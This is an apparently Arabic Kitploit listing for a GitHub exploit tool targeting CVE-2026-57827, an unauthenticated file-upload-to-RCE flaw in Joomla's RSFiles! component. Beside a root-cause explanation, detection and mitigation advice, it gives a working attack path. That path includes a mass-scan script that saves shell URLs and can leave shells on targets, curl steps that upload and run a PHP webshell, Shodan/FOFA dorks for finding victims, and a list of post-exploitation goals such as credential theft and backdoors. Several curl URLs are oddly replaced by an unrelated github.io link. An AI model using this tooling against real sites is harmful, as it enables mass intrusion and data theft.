Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-57827 — توضيح ثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في مكوّن RSFiles! الخاص بجوملا من خلال رفع ملفات تعسفي. | Kitploit
أدوات/GitHubGitHub/candisexterior171/cve-2026-57827
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubcandisexterior171/cve-2026-57827

CVE-2026-57827

توضيح ثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في مكوّن RSFiles! الخاص بجوملا من خلال رفع ملفات تعسفي.

عرض المستودع
منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-57827 — ثغرة رفع ملفات غير مصادق عليها في مكوّن RSFiles! لـ Joomla تؤدي إلى RCE

تجاوز الرفع عبر المتحكّم المقسوم → استدعاء مباشر لمهمة الكتابة → /downloads/shell.php → RCE


نظرة عامة

CVE-2026-57827 هي ثغرة رفع عشوائي للملفات غير مصادق عليها بدرجة خطورة حرجة (CVSS 9.8) في RSFiles! (com_rsfiles)، وهو مكوّن شائع الاستخدام لإدارة الملفات والتنزيلات في Joomla، للإصدارات < 1.17.12.

تستغل الثغرة خللًا في تصميم المتحكّم المقسوم (split-controller): إذ يفصل RSFiles! عملية الرفع إلى مهمّتين في الواجهة الأمامية — فحص مسبق (بوابة صلاحيات + قائمة سماح بالامتدادات) ودالة كتابة (تحفظ الملف على القرص). يمكن استدعاء دالة الكتابة مباشرةً، متجاوزًا الفحص المسبق بالكامل. لا حاجة إلى أي مصادقة أو رمز CSRF.

الإصدارات المتأثرة

الإصدارالحالة
< 1.17.12مُعرَّض للثغرة
1.17.12+مُصحَّح

اكتُشفت بواسطة: Phil Taylor، mySites.guru (10 يوليو 2026) البائع: RSJoomla (rsjoomla.com) المكوّن: com_rsfiles


آلية الثغرة

السبب الجذري

يقسّم RSFiles! عملية الرفع عبر مهمّتين منفصلتين في الواجهة الأمامية داخل /components/com_rsfiles/controllers/rsfiles.php:

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

لماذا تنجح

  1. متحكّم مقسوم — فحوصات الأمان وكتابة الملف في دالتين منفصلتين. الفحص المسبق فقط هو المحمي.
  2. وصول مباشر إلى المهمة — يتيح متحكّم الواجهة الأمامية في Joomla استدعاء أي مهمة مباشرةً عبر &task=rsfiles.upload، متجاوزًا الفحص المسبق بالكامل.
  3. لا مصادقة — لا يفرض متحكّم الواجهة الأمامية أي فحص وصول. يمكن للزوار المجهولين استدعاء مهمة الكتابة.
  4. لا رمز CSRF — لا يتضمن نموذج الرفع في الواجهة الأمامية رمز CSRF على مستوى الموقع.
  5. لا تحقق من نوع الملف — تقرأ دالة الكتابة اسم الملف من الطلب وتمرّره إلى معالج الرفع المدمج في Joomla (JFile::upload())، الذي يقبل أي نوع ملف افتراضيًا.
  6. مجلد التنزيلات في جذر الويب — يقع مجلد التنزيلات الافتراضي لـ RSFiles! داخل جذر الويب. ملف .htaccess الوقائي الذي كان سيمنع تنفيذ PHP هناك هو إعداد اختياري (opt-in) في لوحة الإدارة ويكون مُعطَّلًا افتراضيًا.

مسار الهجوم

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

مراجع الكود المصدري المُتحقق منها

الكشف في سجلات الخادم (من نشرة RSJoomla)

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

خلل التصميم الأساسي

فحوصات الأمان (بوابة الصلاحيات + قائمة السماح بالامتدادات) هي خطوة مسبقة منفصلة عن الدالة التي تكتب الملف فعليًا. الأولى فقط تحتوي على الفحوصات. أما الثانية — التي تكتب على القرص — فيمكن استدعاؤها مباشرةً عبر صياغة معامل task المناسب في الرابط، متجاوزةً جميع ضوابط الأمان.

هذا مثال نموذجي على النمط المضاد «الفحوصات والإجراءات في أماكن مختلفة»: الحارس والعملية التي يفترض أن يحميها منفصلان، ويمكن للمهاجم الوصول إلى العملية دون المرور عبر الحارس.


التثبيت

root@kitploit:~
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests

الاستخدام

root@kitploit:~
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

الوسائط

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

إثبات المفهوم

هدف واحد

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://candisexterior171.github.io
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

الاستغلال اليدوي

الخطوة 1 — رفع القشرة (shell)

root@kitploit:~
curl -X POST 'https://candisexterior171.github.io' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

الخطوة 2 — الوصول إلى القشرة

root@kitploit:~
curl 'https://candisexterior171.github.io'

الخطوة 3 — تنفيذ الأوامر

root@kitploit:~
curl 'https://candisexterior171.github.io;hostname;uname -a'

التخفيف (إذا لم يكن التحديث ممكنًا)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

التأثير

الاستغلال الناجح يتيح تنفيذ التعليمات البرمجية عن بُعد بصلاحيات مستخدم خادم الويب:

  • استخراج configuration.php → بيانات اعتماد قاعدة البيانات وأسرار SMTP
  • الوصول إلى جميع محتويات Joomla والمستخدمين وبيانات الإضافات
  • نشر أبواب خلفية دائمة
  • الانتقال إلى الشبكات الداخلية
  • تشويه الموقع أو حقن برمجيات خبيثة

لا يلزم وجود حساب على الموقع في أي خطوة. مجهول الهوية، غير مصادق عليه، عن بُعد.


الإصلاح (1.17.12)

أصلحت RSJoomla الثغرة في الإصدار 1.17.12 عبر:

  • إضافة فحص صلاحيات إلى دالة الكتابة نفسها (وليس فقط إلى الفحص المسبق)
  • إضافة تحقق من نوع الملف إلى دالة الكتابة
  • فرض رمز CSRF على نقطة الرفع في الواجهة الأمامية
  • جعل حماية .htaccess في مجلد التنزيلات مُفعَّلة افتراضيًا

إخلاء المسؤولية

لأغراض تعليمية وللاختبار المصرّح به فقط.

لا تستخدمه ضد أنظمة دون إذن صريح من المالك. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.


المراجع


غير تابعة لـ RSJoomla أو mySites.guru.

تنزيل الأداة
الملفالغرض
/components/com_rsfiles/controllers/rsfiles.phpالمتحكّم الذي يحتوي على المهمّتين الضعيفتين upload() وcheckupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpقالب نموذج الرفع في الواجهة الأمامية (مؤكَّد: name="file", task=rsfiles.upload)
/downloads/مجلد التنزيلات الافتراضي في جذر الويب (حماية .htaccess مُعطَّلة افتراضيًا)
/briefcase/مجلد الحقيبة (briefcase) (قابل للكتابة أيضًا)
المصدرالرابط
إدخال NVDCVE-2026-57827
نشرة mySites.gurumysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
نشرة RSJoomlarsjoomla.com
CWE-434رفع غير مقيد لملف من نوع خطير
المُبلِّغPhil Taylor، mySites.guru